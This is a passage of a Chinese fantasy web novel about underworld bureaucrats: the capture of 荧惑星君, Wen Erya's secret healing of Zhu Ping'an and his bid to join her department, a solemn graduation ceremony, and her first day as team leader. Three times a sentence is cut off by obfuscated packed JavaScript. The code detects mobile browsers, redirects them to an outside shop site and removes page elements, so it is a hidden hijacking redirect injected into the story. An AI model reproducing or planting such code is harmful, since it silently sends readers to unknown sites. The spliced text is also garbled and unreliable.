李天王吃个大瘪,满脸涨的通红。可终究是老官油子,厚着脸皮就当没听见:“哪吒,还不快去!定要稳住态势,不能惹出命案!” 哪吒三太子领命而去,他的风火轮不愧是天地极速,此时全力施展,不出两分钟便已到达山海幼儿园,只见张松鹤剑指荧惑星君咽喉,正要挥剑刺穿,连忙将乾坤圈掷下:“剑下留人!” 乾坤圈与宝剑相撞,成功阻击张松鹤下击之势,令他身形不由得轻轻一晃。荧惑星君见有机可乘,集聚全身力量,猛然出拳,向着张松鹤面门而去。张松鹤只觉劲风扑面,急忙闪避,虽然躲开了要害,到底还是被击伤了左肩。 “三太子,你这是何意?”张松鹤以剑支住身子,含怒问道。 “张部长,此乃意外!”哪吒见荧惑星君仍有战力,也不由得一惊,火尖枪一抖,接住荧惑星君下一步攻势,“荧惑星君,不要再反抗了,大军瞬息便到,快随我回天庭听候发落!” “若你不多此一举,我早就将其格杀当场,何必如此!” “张部长,荧惑星君虽有过错,究竟是天庭中人,当交由玉帝定夺,并非你我可决生死。”哪吒解释道,见张松鹤面上仍有怒意,只得再补充道: “诸天星斗,各居其位,若当真将荧惑星君杀死,只怕劫难更甚,张部长细想,哪吒所言是否有理。” 张松鹤闭了闭眼,这才平下心中怒气,与哪吒携手作战。荧惑星君本是强弩之末,怎敌的住两人联手?不出三十回合,便被被混天绫捆了个结结实实。 “好好好,哪吒我儿,果然是武艺精熟,马到功成。”空中传来李天王故作爽朗的笑声,天兵此时方才来到。 随军的礼仪官立刻开始记录:某年某月某日,荧惑星君祸乱地府。李天王携哪吒三太子,率一万兵马下界,李天王指挥若定,哪吒太子作战勇猛,不出一日平定骚乱,扬我天威,此诚陛下之福…… “好个荧惑星君,私自下界,涂炭生灵,还不速速随我回天!”李天王例行公事地斥责了几句,将荧惑星君关入囚枷,便要率众回天。 “且慢!”这次却是魏玄成发话了,他已经上前检查了几个学员的情况,确认只是暂时晕倒,这才松了口气。“李天王,您这就要走?是否忘了些什么?” “人曹官,你在说什么?”李天王茫然不解。 魏玄成微微一笑:“玉帝命您平定荧惑星君之乱,您只抓到一个荧惑星君,我地府仍有受难者无数,被放走的恶鬼也未能抓回,怎能算是平定了荧惑星君之乱呢?” “按照人曹官的意思,我的天兵还得帮助你们地府救灾修路,抓捕恶鬼?”李天王眉头皱起,“这……并非大军职责所在啊。” 魏玄成一捻胡须:“您真是说笑了,李天王一向是尽忠职守,三界谁人不知?今天您把差事圆满办完,他日到陛下跟前,也是您大大的功劳啊。” 这话语带威胁,李天王脸色立刻阴沉下来了:“本王若不要这份功劳呢?” 脸上挂着一副讨厌的笑容,魏玄成再次开口:“您就是不要这份功劳,也是功勋卓著。就说本次抓捕荧惑星君吧,您真是雷厉风行,火速出征啊!本官日后到陛下面前,定要将天王今日作为好好夸奖一番!” “你威胁本王?”李天王两眼一瞪,“人曹官要见陛下,尽管去好了!想来陛下也不会只听你一面之词。” “自然不是一面之词。”一个女声柔柔地插进来,说话的竟是清辉仙子,她斜坐一旁,抱臂冷笑:“天王今日作为,我都看在眼里,自要到陛下面前好好分说的。” 李天王这下哑巴了,清辉仙子作为事件的另一当事人,必定会跟荧惑星君同堂对质,能否跟陛下说上话也是不言自明的。 既有人证,他忍气吞声道:“好吧,既然陛下将此事交给本王,本王就好事做到底吧,众天兵听令!即日起,你们都听人曹官的指挥,令行禁止,不得有误!” 五天后,羊城医院,琉琉推开了一扇门。 门里躺着满是伤员,还有三个家属模样的人正在照顾他们。见琉琉推门,一个浑身散发着桂花香气的黄衣姑娘迎上来:“你找谁?” “她是来找我的,她是我的……家属。”被医生要求侧躺,不能压到伤口的温尔雅抬起头回应。 见如此,黄衣姑娘也没多问,便坐了下去。琉琉走到温尔雅床前,他却丝毫没在意琉琉的动作,只是担心地瞧着他侧手边的昏迷女子,那女子脸色惨白到几乎成了半透明状,一副元气大亏的样子。 这张脸琉琉认识,正是跟温尔雅一起上过报纸的女子,她事后查了一通,也没查出此女有什么不凡身份,似乎只是平民的女儿,唯一有点水花的身份也就是琢玉学院志愿者协会的副会长,在未来的差役里颇有号召力而已,实在不值得温尔雅对其花费心思,这次又在这里见到她,琉琉心里不由得泛起了嘀咕。 “东西带来了没有?”温尔雅没心思跟她啰嗦,直截了当的问。 “带来了,大祭……大哥。”见温尔雅一眼横来,琉琉及时地改了口,从包里掏出一个小瓶子。 小瓶子内有一泓极为清澈的药水,逸散着绿色的光点,一看就颇为不凡:“这是非常珍贵的药品,娘娘……娘说要不是大哥伤得这么重,她也舍不得给出来呢。” “回去代我谢谢娘。”温尔雅接过瓶子,便示意琉琉可以退下了。琉琉却不动,眼光往祝平安床上一瞥:“大哥是身受外伤,似乎不需要补养元气吧?这药,当真是给自己用的?可不要胡乱赠予……” “琉琉,你是在告诉我该如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837514|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行事吗?”温尔雅微一抬眉,纵使仍在重伤卧床,仍有一种不容置疑的气质散发出来。 “……琉琉只是提醒大哥,不要忘了自己应该做什么。”琉琉垂下眼帘,做出一副听训的样子。 “该做的事,我自有分寸,你可以回去了。” “……是。” 琉琉走出病房,始终不甘心,走出几步,又蹑手蹑脚地折返回来,悄悄扒在门外,果然看见温尔雅唤来人,将那瓶珍贵的“逢春散”给那昏迷女子服下。 逢春散乃是从千年草木中抽出的生命精华,历经无数寒暑才得这么小小一瓶。枯山荒地,能得一滴,便能生发草木,如再逢春。凡人服下之后,即使是元气枯竭,仍能再度滋长生机。 这样的神药即使是后土神殿也没有多少储备,连琉琉也没有福分能尝上一点,看到温尔雅就那么毫不在意的把此物给了一个百姓女子,琉琉真恨不得跑进屋里,从祝平安嘴里抢一杯羹。 温尔雅是疯了吗?她认得温尔雅也几千年了,他这人无利不起早,从来都视他人是掌中棋子,从不会在没用的人事物上花费心力。这个百姓女子,到底有什么魔力,能让温尔雅对她如此……如此…… 肯定是我调查的方向不对!如果没有理由,温尔雅绝不可能对一个百姓女子这般付出的! 琉琉一握拳头,转身离去,暗自发誓一定要找出祝平安身世的秘密。 没办法,矿精们的脑袋到底都是石头做的,即使琉琉是其中的佼佼者,也很难理解驱动人类做事的理由,不止是“利益”,更重要的是“感情”。 逢春散果有奇效,祝平安服下后,第二天惨白的脸色很快就好看了不少。桂中秋也欣喜地发现了这个变化:“平安的脸色好像好看多了!我去叫大夫来看看!” 大夫检查一通,很快宣布了结论:“真奇怪,病人的各项生命指征都有恢复,多器官衰竭趋势止住了,细胞活性也很高,我本来还担心她挺不过去……如果这样下去,大约一天后就能醒过来了!” 听到大夫的判断,全病房的人都松了口气,张松鹤更是欣喜。不过他也没忽略此事中的疑点:“温尔雅,你家里送来的是什么药?这么有效,能不能给大家都搞一点?” “不好意思,这是我们的传家秘药,只有那么一瓶,现在已经给平安喝了。”温尔雅的回答滴水不漏。 开玩笑,先不说逢春散何等珍贵,就算他能拿到第二瓶,也肯定要拿来给平安喝。温尔雅侧着身,眼睛一眨不眨地看着祝平安,用目光专注地描摹她的眉眼。 浴血奋战、险死还生,这一刻,无论是任务还是自己的安危,统统都不重要了,只要能让这双眼睛睁开,再次对他笑一笑,他愿意做任何事。 以后该怎么办呢?他深深的忧虑起来,平安的个性是如此倔强,还没有毕业就这么拼命,若是日后真的做了公共安全部的差役,那…… 他脑海中浮现出了无数可怕的画面,平安被歹徒袭击,倒在血泊中……他不由得遍体生寒,这样的事情,他绝不能让它发生。 那么,就只剩下一个办法了。 就让他也加入公共安全部,加入祝平安的战场吧。 他想要像共同对战荧惑星君时一样,与她并肩作战,为她疗愈伤口,永远都在她的背后,给予她无穷无尽的力量与勇气,像是大地永远地滋养着树苗。 闭上眼,即使此处没有香炉也没有祭坛,温尔雅依然虔诚的许下了心愿。 那是一段很长很长的祭文,华美的辞藻如珠玉和兰芷,愉悦着神明,可中心思想说来说去,不过就是那么几句话。 大地之母,后土之神,请将你的祝福赐予这名年轻的战士。 我必永远追随其左右,将您的光辉照耀在她身上。 愿她强壮,愿她勇敢; 愿她胜利,愿她平安。 46. 温尔雅的申请 祝平安再醒来的时候,已经是一个星期后了。 睁开眼,她一眼就看见张松鹤坐在自己身前,对她微微一笑:“醒了?” 祝平安连忙挣扎着想坐起来,一动就觉得天旋地转,张松鹤连忙制止她:“别动,你失血过多,要慢慢将养才行。” 见她眼神明显还有心事,张松鹤不用她开口问,便解释道:“小森没事,荧惑星君已经被天庭抓走了,清辉仙子作为重要的人证,也随着上天了,荧惑星君被褫夺了尊位,判面壁思过五千年。李天王带来的天兵正在帮咱们救灾,现在民众已经全都安全了。” “我的同伴?”祝平安小声询问道,没办法,现在她说话都没力气。 “他们很安全,都在这里呢。”张松鹤把她从床上扶起来,在她身后塞了两个枕头,祝平安这才发现,自己躺在一个大病房里。 右手边就是肚腹缠着绷带,侧身关切地看向她的温尔雅,再旁边是脑袋包的粽子一样的白子欣、浑身涂满烧伤药的叶霆霓、挂着吊瓶的阿满、打着石膏的里奥、拄着拐的林四梅……所有受伤的同伴都在这里,桂中秋、卫珑和司铜也在房间里,忙前忙后地照顾着一大堆伤员。阳光最好的窗边,小森在一个大花盆里摇摇摆摆,抒发着对祝平安的感激之情。 左手边还有一张空床,祝平安仔细一看,才发现张松鹤的左肩膀也缠着绷带。她本以为张松鹤是来探病,现在看来,他也在这里住院,不由问道:“你的肩膀?” “对战荧惑星君,哪能不受点伤?”张松鹤不以为意,笑嘻嘻揭过此事:“别老是关心别人了,咱们这屋最严重的病号就是你,大家都放不下你,强烈要求跟你住一个病房。” 这话不假,祝平安被送来的时候,情况极为奇特。张松鹤亲眼看见她被荧惑星君一拳打吐了血,但她身上没有丝毫外伤,所有器官却都在衰竭边缘,医生都难以诊治。 卫珑把荧惑星君作乱开始,祝平安经历的事情都说了出来,张松鹤听了,不禁感叹一会儿,又钦佩一阵,看祝平安的眼光又多了三分温和。 整件事听下来,他觉得最大的疑点还是在祝平安与荧惑星君作战的时候。可恨那时候的目击者荧惑和清辉仙子都已经走了,司铜又全程都在地下室,没有看到战场情况,所以张松鹤一直没搞清这是怎么回事。 直到那天,温尔雅的“家属”前来探病,送来了所谓的家传秘药,祝平安便奇迹般的迅速好起来。虽说那叫琉琉的姑娘虽说容貌也是甚美,五官却和温尔雅毫不相似,实在看不出两人有血缘关系,想到祝平安那奇特的伤势,张松鹤觉得自己内心有点底了。若他猜得没错,等到温尔雅康复了,其他人的伤都不是问题。 “总之你好好修养吧,马上就要办毕业典礼了,作为我们学院的大英雄,毕业典礼怎么能缺了你呢?”桂中秋端来一碗桂花蜜水,一勺一勺地喂给祝平安喝。 得知祝平安醒了,来探病的人就没断过。先是三个校长带着琢玉学院的学员们来慰问,紧接着就是花峰镇和九陵街道的父老乡亲,个个提着慰问品。还有人带来了山海幼儿园的幼崽们,毛绒绒们先是扑到阿满床前好一阵亲热,接着也会安抚地蹭一蹭祝平安,一个病房好不热闹。 人人说她伤的严重,可祝平安自己觉得只是躺了两天就完全复原了,她本打算出院,但受到了大家的强烈反对,只好留了下来。 温尔雅正坐在床上喝药,张松鹤上前,给了温尔雅一个眼色:“你已经能下地了?我推你出去走走?” “好啊。”温尔雅淡淡一笑,似乎早就期待着这句话。 张松鹤推着他来到医院的花园的僻静处,开口道:“你的申请魏校长给我看过了,你想来公共安全部?为什么?” “经历了这次救灾,我觉得保护别人不受伤害才是世界上最有意义的事情,我愿意从事这项工作。” 温尔雅的回答滴水不漏,颇为恳切,张松鹤相信这是他的真心话,但心头那淡淡的疑惑却未离去:“公共安全部的工作很危险,你在街镇行政部,一样可以保护大家。” “但帮助不了我真正想要保护的人。” 张松鹤的脚步一下停住了。 温尔雅自己把轮椅转了个方向,直视着张松鹤:“明人不说暗话,张部长,我跟你的学员祝平安已经是好朋友了。朋友就要并肩作战,让她一个人做公共安全部的差役,在你张部长手下惩奸除恶,我不放心,我跟她一起工作,是两全其美的好事。多一个人多一份力,你们公共安全部能得益,我也放心些。” 是为了祝平安,如此,倒是说得通了。只是之前平安明明说没有跟他谈恋爱,他为何对祝平安如此看重? 张松鹤只觉心头微微发酸,想也不想就脱口而出:“公共安全部要的是能派上用场的人,你有这份心很好,但此次平安遭遇荧惑星君,我赶到的时候,发现你已经是重伤昏迷,还要让平安背着你作战。一个需要照顾的人上了战场,究竟是多个人多份力,还是拖后腿,这却难说了。” “张部长请放心,温尔雅也许不精于作战,但我也有我的能力。”温尔雅微微一笑,“平安武艺低微,却能在荧惑星君手下撑到你来,且浑身无伤又失血过多,难道张部长就不惊讶么?” 温尔雅伸出一只手,在张松鹤受伤的左肩上轻轻点了一下:“那天,若不是我为她医治了三十六次,只怕她早已粉身碎骨了。你所见到的,不是我拖累她,是她离不开我。” 张松鹤只觉得一阵说不出的温暖和舒服,左肩的裂痛居然在瞬间就消失了。他惊讶地动了动手臂,发现屈伸自如,已经恢复了健康。 这神奇的治愈术,整个地府只有一个人会。张松鹤心思电转,猛然想到那天战场上诡异的巨石。那石块怕有万斤之重,他撑起结界时,原本没想过能够撑过去,哪知道那巨石还没接触到他的结界,就已经被弹了出去,再联想到祝平安喝下的“家传秘药”,所有猜测均被证实,他的瞳孔猛然缩紧:“你是……” “嘘。”那轮椅上的男子竖起一根白玉般的手指,轻轻贴近自己那因失血过多而变成淡粉色的唇瓣:“有些事情,天知地知,你知我知,张部长心里有数就好,连平安也不必要她知道。我有我的任务,烦请张部长为我保密。” “你究竟有什么目的?” “张部长,若有一天我需要您的帮助,自然会告诉您。在那之前,您只需要知道,我绝不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837515|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤害你、伤害百姓,恰恰相反,我亦是为了帮助大家而来。” 温尔雅气定神闲,虽然现在他还只能坐在轮椅上,矮了张松鹤半个身子,却无端散发出一股高居上位的气势: “张部长,我早就听说过您。您功力高强,立志涤清邪恶,功成正果,可多年的历练过去,您的功行进步甚微,想办的事情总是遇到重重阻挠,若非有包大人支持,就连公共安全部长的位置也差点保不住,我说的,对,还是不对?” 张松鹤不动声色:“张某人才能荒疏,令你见笑了。” “张部长,我无意嘲笑您,相反我很支持您,我“娘”也很欣赏你。地府有些事情是该改一改,但若只靠胆气和能力,那是不成的。独木不成林,您身边需要新的帮手,一些懂规矩的人,而我也可以从工作中,得到我想要的一些消息,于公于私这都是两全其美的好事,您不必有顾虑。” 张松鹤哑然,温尔雅的话戳中了他的痛点。他的个性好听些说就是嫉恶如仇、不拘世俗,难听些说就是过于耿直,欠缺手腕。以他性格,做个游侠,仗剑四方,混迹市井,跟老百姓打交道还可以,真让他管理一部,案牍劳形,他就浑身难受。 不说温尔雅那神奇的治愈术和操纵土石的能力,仅从温尔雅在校期间的表现,以及谈话间流露出的气质来看,此人一定长袖善舞,精通庶务。有这样一个人来帮自己处理后方,他便能放开手脚去做事,更别提他所代表的后土神殿…… “你今日所说,的确是真心话?” “后土帝君为证,出言绝无半句虚假。” 温尔雅说罢,笑眯眯地看向张松鹤。这一套是他已经熟惯了的,自然而然地掌控局势,将话语权牢牢拿在自己手上,给出对方绝对无法拒绝的方案,自信绝对能让张松鹤一口答应下来。 他等待着那个男人说一声好字,可他只看见,那个男人将他上下打量一番。把他的轮椅一转,又变为了推着他走路的姿态,“你说的事情,我会好好考虑的。” 他推着温尔雅,大步流星地推着他往回走,并制止了温尔雅还想再说什么的势头:“我的考虑结果出来之前,你不必再说什么。我是部长,这件事最终由我决定,不是吗?” 轮椅被推的很快,温尔雅身不由己地被他推着,觉得有点晕眩。他脸上还保持着宁静的笑容,心内却是思潮起伏。 张松鹤绝不像是他想的一样,是个徒有武力的莽夫,他的锋锐就像一把名剑,虽然欠缺圆滑,却也不会任人摆布。这把剑,如果能够真正地为他所用,那对于后土神殿来说,将是多么有利…… 两个人各怀心思地回到了病房,那边,祝平安已经抓着大家开头脑风暴会,讨论毕业大典的方案了,看着她讨论到激动之处时,脸上泛起的健康红晕,这一站一坐的两个男人,无论心绪如何,目光都不由得柔和起来。 五月初一,春暮已至,桃李褪去残红,结出绿豆大小的果实。在荧惑星君作乱的一个月后,废墟被清扫干净,恶鬼也在天兵的帮助下抓回来九成,生产生活初步恢复,局势终于稳定下来。 就在这一片祥和中,已经被耽误了一个月的琢玉学院毕业大典,终于拉开了帷幕。 47. 毕业大典 金毛毛今天很高兴。 他的伤口已经痊愈了,但仍给他留下了终身的纪念,那就是身上的四十六条伤疤,其中一条直接划过了他的侧脸和鼻梁,让他那娇憨可爱的面容多了几分冷肃。 不过金毛毛并不在意,伤疤是男人的勋章,这都是他英勇作战的见证!桂中秋要给他戴口罩遮掩伤处,他都直接拒绝了,他要骄傲地把这些伤疤秀给大家,要不是不够文雅,他甚至都想赤裸上身出场,让大家都看到他的勋章! 在他的带动下,额头缝了十三针的白子欣也决定不戴帽子了,要把“勇敢的证明”给大家看。不过也有那爱美的,叶霆霓这会儿已经换了四五套衣服,还在对着镜子左照右看:“这件黑色礼服怎么样啊?一会上台,会不会显得我太老气?” “不会,你新长出来的皮肤非常白,被这个黑色一衬更加晶莹剔透,连烧伤留下的粉红纹路都显得像珊瑚枝一样美。”真正时尚大师??温尔雅正在给祝平安打扮,只好由卫珑来回答这个问题。 给祝平安系好袖扣,温尔雅将祝平安推到镜子前:“好了,都是按照你要求来做的,满不满意?” 祝平安张着嘴巴,看着镜子里的自己,都有点认不出来了。 镜子里的女人头发梳的整齐利落,身穿着一件垂感良好的丝质衬衫,肩膀处有意加宽。素白的光泽内藏着暗纹,黑钻袖扣在不经意间透露出一股高级感。下身则是稳重的松柏绿色长裤,利落的剪裁突出了祝平安修长的双腿。一条黑色的宽皮带扎在腰间,越发显出她腰腿部的美丽线条。 这身衣服虽然毫不夸张,却让祝平安像是一颗青葱昂扬的小树,临风玉立,挺拔优雅,让人忍不住就要多看她两眼。 “谢谢你,温尔雅。”硬生生把五分的脸抬出了七分的效果,她知道温尔雅必定是用了许多心思,祝平安诚恳的道谢了。 “你是今天的主角,当然要光彩照人才好。”温尔雅满意地打量着祝平安的脸,“哦对了,差点忘了这个。” 他拿出桂叶会徽,亲自别在祝平安胸前,戴好后,还细致地抚平会徽带起的一点皱纹,手指尖无意擦过祝平安的胸口,温尔雅的脸突然一红,慌慌张张地放开了手。 祝平安倒是没觉得什么不对,揽镜自照,甚是满意。等候室的门被推开,张松鹤走了进来,今天他打扮的也很正式,穿着全套的差役制服,见到祝平安,也是眼前一亮:“今天你穿的真……真合适。” “温尔雅的品味好,都是他给我打扮的。”祝平安大方地把功臣推出来,温尔雅瞧着她微微一笑,一身同样松柏绿色的袍子跟祝平安相映生辉,惹得张松鹤嘴角抿成一条线。 全没发现张松鹤的神色的变化,祝平安问道:“可是毕业典礼要开始了?” “是,你们准备好了就出来吧,平安跟我走,你一会要上台演讲的,位置要特别安排。” 由于琢玉学院被毁,毕业典礼就在羊城最大的广场举行,前来观礼的除了学员以及学员们的家属,还有许多羊城的父老乡亲。为了表彰琢玉学院的志愿者协会积极救灾,阎罗天子包大人亲临现场,为大家带来了意料之外的惊喜。 按照祝平安的提议,会场布置成一片雪白,雪白的菊花,雪白的桌椅,雪白的台面,除了会场正中悬挂的三百二十八张黑白遗像之外,别无一丝杂色。 这些遗像都是在救灾中牺牲的学员,吴晓云秀气的脸庞也在其中笑的格外含蓄。还有一千余名学生永远长眠在了七槐山顶,无法前来参加这个属于他们的庆典。 跟一般的热闹庆典不同,琢玉学院的毕业典礼始终在一种庄严肃穆的气氛中进行着,三百二十八张青春洋溢的笑脸默默注视着整个会场,令场下的部分学员忍不住偷偷地抹着眼泪。 “六个月的学习,大家的平时分有多有少,但今天,无论你们之前的成绩如何,你们都已经证明了自己具备成为差役的资格。”谢必安站在台上宣布:“今天,我要最后一次行使副校长的权利,为在场的一万八千二百六十一名学员,加上六十分平时分。” “作为副校长,我知道我没有资格赋予大家实训成绩,因为这里的每一位学员,都在真正的考验面前给出了满分答卷。我宣布,琢玉学院一万八千二百六十一名学员,全体通过实训考试。”范无咎副校长的讲话依然是那么简短,然而并不妨碍学员们在听了他的话之后,骄傲地挺起胸膛。 “综上,我宣布,琢玉学院的一万八千二百六十一名学员,你们从今日起毕业,成为一名真正的差役了!稍后,我将把大家的上任书发放给大家。”校长魏玄成做了最后的总结。 还不等差役们发出欢呼,包大人便站起身,向台下微微致意:“各位差役,下面本人谨代表地府,来宣布对大家的嘉奖。” “所有毕业生初定职级是十二级,志愿者协会的差役们,你们积极参与救灾,荣立集体三等功,计入档案,职级定为十一级!” “而在救灾途中,也有许多民众英勇奋斗,积极配合差役,其中尤其以九陵街道的陆婉珍女士为其中佼佼者。为表彰她勇敢作战,对抗邪恶的精神,我宣布授予陆女士荣誉市民称号,并授予其一张投胎至天人道的资格表,陆女士,你无需排队,随时可以投胎了!” 里奥穿着一身灰蓝色的军装上前敬了一个标准的军礼,这才接过奖状,又向着台下敬礼。全场掌声雷动,尤以九陵街道的父老乡亲呼声为甚。祝平安不由得也为里奥鼓掌,心中盈满骄傲之情。 “应急管理部金毛毛,奋不顾身,英勇杀敌,荣立二等功,职级定为十级!” “农业部桂中秋,因公忘私,救人无数,荣立二等功,职级定为十级!” “武装部林四梅,临危不乱,勇于担当,荣立二等功,职级定为十级!” …… 跟随着包大人而来的书记员不由得有点吃味,他做了十二年差役,按部就班的提升,今年也不过是十级,这些人却一当上差役就有了这种高度。不过人家的高起点也是真刀真枪换来的,看看金毛毛脸上的疤痕,书记员摇摇头,平息了心思,反而升起来一股敬佩。 包大人陆陆续续颁发了四十多个二等功,叶霆霓、白子欣、卫珑、温尔雅等人都上台领过奖之后,今日的重头戏终于要开始了。 “公共安全部祝平安。”包大人终于念到了祝平安的名字,他抬头,饶有深意地看了祝平安一眼:“组织同学加入救灾战场,积极营救花峰镇一千二百名受灾群众,指挥歼灭逃亡恶鬼一百八十名,孤身与荧惑星君作战,为抓捕行动打下良好基础,恪尽职责,不辱使命,居功至伟。今授予“地府英杰”荣誉称号,职级定为八级!” 他向着台下一伸手:“祝平安同学,请上台。” 一道明亮的聚光灯投射过来,所有人的目光,都顺着包大人伸出的手臂向祝平安看去,人群像是潮水一般分开,露出来道路尽头那个树苗一样青葱挺拔的女子。张松鹤轻轻在她后背上推了一把:“去吧。” 他顿了顿,忽然用只有他们两个人能听到的声音说道:“祝平安,我为你感到骄傲。” 一步一步地,祝平安沿着这条雪白的道路前进着。她有点晕眩,有点害羞,脸庞也是热热的。道路两边,所有人都用温情友好的目光看着她,还有朋友们热切的掌声,里奥激动地热泪盈眶,金毛毛恨不得把尾巴摇断,温尔雅睁大了眼睛,一瞬不眨地看着她,即使相隔十来米,她依然能从人群中感受到他炙热的目光。 她从未像今天这样,感到自己成了全场的焦点,紧张地都有点同手同脚了。她浑浑噩噩地上了台,接过奖状,又与包大人握手合影,直到司仪宣布请她讲话,她才回过神来。 “能够站在这里,我很惭愧。”这是她的第一句话。温尔雅帮她写了一篇辞藻华丽的讲话稿,她还背了半天,可到了台上一张嘴,却是自然而然地吐出了最想说的话:“如果说我获得了一点小小的成就,那都是因为我的家人、老师、同学们支持着我。更何况,我只是做了我应该做的事情。” “我从没想过自己会成为一个差役。一开始我虽然拼命的学习考试,但做差役对我来说,跟做教师、做医生、做律师没什么不同。我好好上班,获得稳定的薪水糊口,朝九晚五直到投胎转世,不过就是这样。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就这么一晃神的功夫,祝平安已经讲到了结尾:“最后我还想说,真正的英杰不是我,而是那些只能以遗像方式参加毕业典礼的人。为了更多人的幸福,他们放弃了自己的生命,真正的诠释了什么才叫做差役。” 黑白相片里,三百二十八张笑脸像是一片花海。祝平安的目光停在吴晓云的脸上,颤抖着声音说了下去: “能够跟他们成为同学,是我永远的荣幸。我愿意将他们的精神一直继承传扬下去,成为专业过硬、效率第一、严于律己、稳重可靠、勇于担责、心系民众的差役,直到有一天,把我的生命也献给需要拯救的人。我的讲话完毕,谢谢大家。” 啪啪啪地,张松鹤率先鼓起掌来,紧接着是包大人、里奥、金毛毛,所有的父老乡亲。在这样的掌声中,祝平安深深鞠了一躬走下台。包大人望着她离去的背影,低声跟魏玄成说:“你这个学生教的很好。” “是呀,看到她,我就觉得,这学校办的值了。”魏玄成也骄傲地回应道。 毕业典礼结束,大家都拿到了自己的上任书,在其所属部门获得了一个不错的职位。 林四梅主管民兵训练工作,叶霆霓则在监狱任职,金毛毛成了应急管理部防汛处的一员,桂中秋则在官营农场研究新作物,司铜在六道轮回部做记录员,卫珑则凭借“驾驶送魂鸟”的特长成了人力资源署的职务处秘书,成了最有前途的一位,祝平安想,其实卫珑也能兼任保镖,但这就要人力资源署职务处的领导自行挖掘了。 卫珑的父母也来到了毕业典礼上,搂着女儿有说有笑,丝毫看不出曾经的冷淡。卫珑的神色也是淡淡的,虽说神色别扭,却到底没拒绝父母的拥抱——她终究是爱着他们的。 她和白子欣都进入了公共安全部,白子欣去了刑侦处,她进入了特别行动组,归张松鹤直属领导。跟她一起进入特别行动组的还有一个人——温尔雅。 这个人是怎么跨部门跑到这来的?祝平安追问了两次,温尔雅却守口如瓶,她也只好算了,不管怎么说,能和老朋友一起进入新的环境,她还是挺开心的。 跟大家一起拍了合照,又跟老师、同学们好好地话别了一番,约定以后要常常联系,带着一丝感伤,一丝期待,祝平安告别了这段美好、愉快,充实的日子。 青葱岁月从今远去,无比坚定地,她向着自己的巅峰,迈出了扎实的第一步。 48. 上班第一天 手握上任书,站在公共安全部门前,之前被张松鹤抓进局子的记忆还历历在目,祝平安深沉地摸摸下巴,从黑户到差役,她这也算是拿到了大逆转剧本了吧。 紧张地正正身上的制服,祝平安心中默念“我是差役我是差役我是差役”,就要去推大门,谁知她刚走到门前,大门就被人从里面打开了,祝平安扑个空,差点摔个狗吃屎。 开门的却是张松鹤,看祝平安那同手同脚的样子,笑道:“又不是第一次见面,紧张什么?温尔雅都到了,快点进来,别让同僚等你!” 祝平安隶属的特别行动组人数很少,作为张部长直属的队伍,他们是公共安全部的核心部门,训练有素,专业过硬,能打胜仗,作风优良,是维护地府稳定的重要力量。 当然了,这是报纸上的官方报道,实际上这个部门在公共安全部也被称为“茅坑专班”,也就是专门对付那些“又臭又黏没人想管”问题的队伍。办的是大案要案不假,但不是破获杀人案、诈骗案、抢劫案的,那是刑侦处的活,他们负责更多的是所谓的维持稳定案:村落械斗、行会黑幕、结社闹事、灰产稽查等。 这类案子有个特点,轻不得重不得,不出事谁也不觉得你在工作,一出事就闹大到全地府都知道了,属于功劳没得领,黑锅天天背,哪个中层领导也扛不住,最终只能由张部长亲自带队。 当然,也很少有差役愿意在这个部门干活,祝平安跟温尔雅没来之前,这个特别行动组只有四个人。也难怪张松鹤压力那么大,想尽办法也要把祝平安拉进来。 “苗妙妙,负责情报搜集,潜入调查。”张松鹤指着一个高冷少女向祝平安两人介绍了,少女身材窈窕,全身黑衣,有一双淡漠的蓝眼珠,总是一副懒洋洋的表情。见到新同僚只是随意地点点头。 “杜元,负责物资管理、财务支出,以及其他后勤类杂活,一般不出外勤,搬东西领文具报销发文件都可以找他。”普通的秃头男子,身材发福,架着一副小眼镜,衬衫西裤皮鞋倒是穿的整整齐齐,对着祝平安都习惯性地露出谄媚笑容,一看就像是机关的小职员。 “龙如烈,我们组的顶梁柱,每次冲突现场都多亏了他,能够以一当十,你要多向他学习。”高大憨厚的男子,瞧着三十出头,最引人瞩目的就是他的身高,差不多都有变成原型的金毛毛一样高了,一看这个头,到哪里都是“顶梁柱”。当他俯下身跟祝平安握手的时候,祝平安都有种误闯巨人国的幻觉了。 “我是向百灵,负责咱们组的纠纷调解工作,叫我向大姐就好。不过我还有两个月就要去投胎了,这块工作恐怕需要你担起来了。” 没等张松鹤介绍,一个约莫五十来岁的和蔼大姐就一把拉住祝平安的手,使劲握了握,“这姑娘,一看就一脸聪明相,家住哪里呀?属什么的?结婚了没?” 祝平安绝倒,这些大姐们怎么都跟约好了一样,无论生前身后都痴心不改,一定要做这种死亡三连问? 她一时不知道怎么回答好,幸好温尔雅看出她的窘状,果断伸出援手:“向大姐,你怎么只问她不问我呀?您可不能只偏心小姑娘,也要关心男同胞嘛。” 向大姐被温尔雅哄得心花怒放,笑容压都压不下去。张松鹤轻咳一声:“好啦向大姐,做媒的事情等下班再说,现在我来宣布一下人事变动。” “从今天起,祝平安就是大家的组长,温尔雅是副组长,大家鼓掌欢迎!” 